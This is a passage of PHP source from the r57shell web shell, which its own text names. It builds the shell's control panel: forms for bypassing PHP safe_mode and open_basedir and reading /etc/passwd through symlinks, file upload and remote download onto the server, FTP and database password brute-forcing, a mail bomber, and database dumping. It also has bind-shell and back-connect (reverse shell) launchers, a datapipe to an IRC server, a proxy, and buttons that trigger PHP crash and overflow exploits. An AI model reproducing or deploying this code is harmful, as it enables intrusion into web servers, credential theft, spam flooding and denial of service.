7107"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
7108
7109echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts;
7110
7111echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7112
7113echo $te.'</div>'.$table_end1.$fe;
7114
7115}
7116
7117
7118
7119if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
7120
7121{
7122
7123echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
7124
7125echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7126
7127echo $te.'</div>'.$table_end1.$fe;
7128
7129}
7130
7131
7132
7133if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
7134
7135{
7136
7137echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
7138
7139echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7140
7141echo $te.'</div>'.$table_end1.$fe;
7142
7143}
7144
7145
7146
7147if(($safe_mode || $open_basedir) && @function_exists('error_log') && @version_compare(@phpversion(),"5.2.2")<=0)
7148
7149{
7150
7151echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
7152
7153echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
7154
7155echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
7156
7157echo $te.'</div>'.$table_end1.$fe;
7158
7159}
7160
7161
7162
7163if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
7164
7165{
7166
7167echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
7168
7169echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
7170
7171echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
7172
7173echo $te.'</div>'.$table_end1.$fe;
7174
7175}
7176
7177
7178
7179if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
7180
7181{
7182
7183echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts;
7184
7185echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
7186
7187echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
7188
7189echo $te.'</div>'.$table_end1.$fe;
7190
7191}
7192
7193
7194
7195if(($safe_mode || $open_basedir) && @function_exists('readfile') && @version_compare(@phpversion(),"5.2.2")<=0)
7196
7197{
7198
7199echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
7200
7201echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
7202
7203echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
7204
7205echo $te.'</div>'.$table_end1.$fe;
7206
7207}
7208
7209
7210
7211if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
7212
7213{
7214
7215echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
7216
7217echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7218
7219echo $te.'</div>'.$table_end1.$fe;
7220
7221}
7222
7223
7224
7225if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
7226
7227{
7228
7229echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
7230
7231echo "<tr><td valign=top width=70%>".$ts;
7232
7233echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
7234
7235echo $te."</td><td valign=top width=30%>".$ts;
7236
7237echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
7238
7239echo $te."</td></tr>";
7240
7241echo $te.'</div>'.$table_end1;
7242
7243}
7244
7245
7246
7247if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
7248
7249{
7250
7251echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
7252
7253echo "<tr><td valign=top width=70%>".$ts;
7254
7255echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
7256
7257echo $te."</td><td valign=top width=30%>".$ts;
7258
7259echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
7260
7261echo $te."</td></tr>";
7262
7263echo $te.'</div>'.$table_end1;
7264
7265}
7266
7267
7268
7269
7270
7271if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
7272
7273echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
7274
7275echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
7276
7277echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
7278
7279echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
7280
7281echo $te.'</div>'.$table_end1.$fe;
7282
7283}
7284
7285
7286
7287
7288
7289if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
7290
7291echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
7292
7293echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
7294
7295echo "<tr><td valign=top width=50%>".$ts;
7296
7297echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
7298
7299echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
7300
7301echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
7302
7303echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
7304
7305echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
7306
7307echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
7308
7309echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
7310
7311echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
7312
7313echo $te."</td><td valign=top width=50%>".$ts;
7314
7315echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
7316
7317echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
7318
7319echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
7320
7321echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
7322
7323echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
7324
7325echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
7326
7327echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
7328
7329echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
7330
7331echo $te."</td></tr>";
7332
7333echo $te.'</div>'.$table_end1.$fe;
7334
7335}
7336
7337
7338
7339
7340
7341if($select_downloaders){
7342
7343 echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
7344
7345 echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
7346
7347 echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
7348
7349 echo $te.'</div>'.$table_end1.$fe;
7350
7351}
7352
7353
7354
7355echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
7356
7357echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
7358
7359$arh = $lang[$language.'_text92'];
7360
7361if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
7362
7363if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
7364
7365if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
7366
7367echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
7368
7369echo $te.'</div>'.$table_end1.$fe;
7370
7371
7372
7373if(@function_exists("ftp_connect")){
7374
7375echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
7376
7377
7378
7379echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
7380
7381echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
7382
7383echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
7384
7385echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
7386
7387echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
7388
7389echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
7390
7391echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
7392
7393echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
7394
7395
7396
7397echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7398
7399echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
7400
7401echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
7402
7403echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
7404
7405echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
7406
7407echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
7408
7409echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
7410
7411echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
7412
7413echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
7414
7415
7416
7417echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7418
7419echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
7420
7421echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
7422
7423echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
7424
7425echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
7426
7427echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
7428
7429echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
7430
7431echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
7432
7433echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
7434
7435
7436
7437echo $te."</td>".$fe."</tr></div></table>";
7438
7439}
7440
7441
7442
7443
7444
7445if(@function_exists("mail")){
7446
7447echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
7448
7449echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
7450
7451echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
7452
7453echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
7454
7455echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
7456
7457echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
7458
7459echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
7460
7461
7462
7463echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7464
7465echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
7466
7467echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
7468
7469echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
7470
7471echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
7472
7473echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
7474
7475echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
7476
7477echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
7478
7479
7480
7481echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7482
7483echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
7484
7485echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
7486
7487echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
7488
7489echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
7490
7491echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
7492
7493echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
7494
7495echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
7496
7497
7498
7499echo $te."</td>".$fe."</tr></div></table>";
7500
7501}
7502
7503
7504
7505
7506
7507if($mysql_on||$mssql_on||$pg_on||$ora_on||$mysqli_on||$msql_on||$sqlite_on)
7508
7509{
7510
7511$select = '<select name=db>';
7512
7513if($mysql_on) $select .= '<option value=MySQL>MySQL</option>';
7514
7515if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>';
7516
7517if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>';
7518
7519if($ora_on) $select .= '<option value=Oracle>Oracle</option>';
7520
7521if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>';
7522
7523if($msql_on) $select .= '<option value=mSQL>mSQL</option>';
7524
7525if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>';
7526
7527$select .= '</select>';
7528
7529
7530
7531echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
7532
7533echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
7534
7535
7536
7537echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
7538
7539echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
7540
7541echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
7542
7543echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
7544
7545echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
7546
7547echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
7548
7549echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
7550
7551echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
7552
7553echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
7554
7555
7556
7557echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7558
7559echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
7560
7561
7562
7563echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
7564
7565echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
7566
7567echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
7568
7569echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
7570
7571echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
7572
7573echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
7574
7575
7576
7577echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7578
7579echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
7580
7581
7582
7583echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
7584
7585echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
7586
7587echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
7588
7589echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
7590
7591echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
7592
7593echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
7594
7595
7596
7597echo "</td>".$fe."</tr></div></table>";
7598
7599}
7600
7601
7602
7603
7604
7605if(!$safe_mode && $unix){
7606
7607echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
7608
7609echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
7610
7611echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
7612
7613echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
7614
7615echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
7616
7617echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
7618
7619echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7620
7621echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
7622
7623echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
7624
7625echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
7626
7627echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
7628
7629echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
7630
7631echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7632
7633echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
7634
7635echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
7636
7637echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
7638
7639echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
7640
7641echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
7642
7643echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
7644
7645echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7646
7647echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
7648
7649echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
7650
7651echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
7652
7653echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
7654
7655echo $te."</td>".$fe."</tr></div></table>";
7656
7657}
7658
7659
7660
7661echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts;
7662
7663echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7664
7665echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
7666
7667echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
7668
7669echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
7670
7671echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
7672
7673echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
7674
7675echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
7676
7677echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
7678
